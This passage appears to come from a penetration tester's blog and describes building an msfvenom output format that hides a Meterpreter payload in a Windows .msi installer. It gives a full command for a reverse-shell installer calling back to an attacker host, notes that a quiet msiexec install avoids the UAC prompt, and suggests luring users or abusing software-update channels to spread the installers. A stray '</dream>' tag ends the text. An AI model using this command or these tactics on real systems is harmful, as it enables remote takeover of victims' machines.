The workaround was to create a static .msi file that executes 'payload.exe' in the same folder. This .msi file and a generated Metasploit .exe are both uploaded to the target machine and the payload is executed by the .msi. This felt a bit clunky to me and I wanted to package it all up in one neat payload.
I created a simple .msi file containing a buffer as a template file. The plan was to locate the start offset (indicated by __PAYLOAD__), and overwrite that with my generated PE file. Unfortunatly, due to the way the file is constructed, it is not placed in a linear fashion within the .msi.
|Bs before As doh!|
With a bit of research I was able to uncover that while the .msi format isn't publicly documented the Microsoft Compound Document format is. A good practical description of it is available on forensicswiki.org. Using this I was able to work out the chain of locations the buffer was split into and I could correctly overwrite the file with my generated payload. Now I can generate .msi files with custom payloads using my template .msi:
./msfvenom -f msi -p windows/meterpreter/reverse_tcp LHOST=10.0.5.101 LPORT=4444 > meterp.msi
There are some interesting things to note if you are sending malicious .msi files to a target user. By default it will ask a normal user for admin credentials, or an admin user to accept the changes (if UAC is enabled).
If you can entice the user, or find another way, to run the .msi file via msiexec with the /quiet flag then this will bypass UAC. The executable will be run under the normal user's privileges, or SYSTEM if they were an admin.
You can watch the progress of this as it navigates its way into the Metasploit Framework by the Github pull request.
Whilst working on this module I was thinking of the other uses it could be put to. It may be useful when exploiting a network that uses SCCM or other third party software control or update mechanisms. I hope one day to find a writeable 'update' directory which will automatically distribute .msi files to the network.</dream>